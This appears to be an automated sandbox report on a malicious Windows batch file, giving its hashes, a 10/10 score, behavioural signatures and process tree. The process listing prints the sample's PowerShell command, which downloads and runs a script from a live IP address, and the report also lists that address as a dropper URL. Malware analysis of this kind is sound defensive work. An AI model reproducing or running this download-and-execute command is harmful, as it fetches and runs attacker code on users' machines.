Analysis
- max time kernel
121s - max time network
121s - platform
windows10_x64 - resource
win10 - submitted
16/07/2020, 05:10
Static task
static1
Behavioral task
behavioral1
Sample
594f735f38e39066e0ea5392e1a93dba.bat
Resource
win7v200430
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
594f735f38e39066e0ea5392e1a93dba.bat
Resource
win10
0 signatures
0 seconds
General
- Target 594f735f38e39066e0ea5392e1a93dba.bat
- Size 219B
- Sample200716-mrmdxe7k22
- SHA256 4df4f51379a5fdc56671e999a52ac96c8b4fd0194a2af6f602bc7fc20825ea1a
- MD5 2dcb6e0063636fed2c26c0b88d389592
- SHA1 001718f5ec05cecbdd87d1950fb13fa8e8b1c93f
- SHA512 a3157d8ad3f0a88b822774239cdfb1ea7e15fcd89b8061310656239ff64a0480f1ef9a8d70fee76e759de63cb31eeb29f175518776a93c7951f90228abdb4644
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
http://185.103.242.78/pastes/594f735f38e39066e0ea5392e1a93dba
Signatures
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3676 wrote to memory of 4044 3676 cmd.exe 68 PID 3676 wrote to memory of 4044 3676 cmd.exe 68 PID 3676 wrote to memory of 4044 3676 cmd.exe 68 - Program crash 1 IoCs
pid pid_target Process procid_target 3852 4044 WerFault.exe 68 - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeRestorePrivilege 3852 WerFault.exe Token: SeBackupPrivilege 3852 WerFault.exe Token: SeDebugPrivilege 3852 WerFault.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe 3852 WerFault.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\594f735f38e39066e0ea5392e1a93dba.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3676 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/594f735f38e39066e0ea5392e1a93dba');Invoke-SWAGNDKFQZBV;Start-Sleep -s 10000"2⤵PID:4044
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3852
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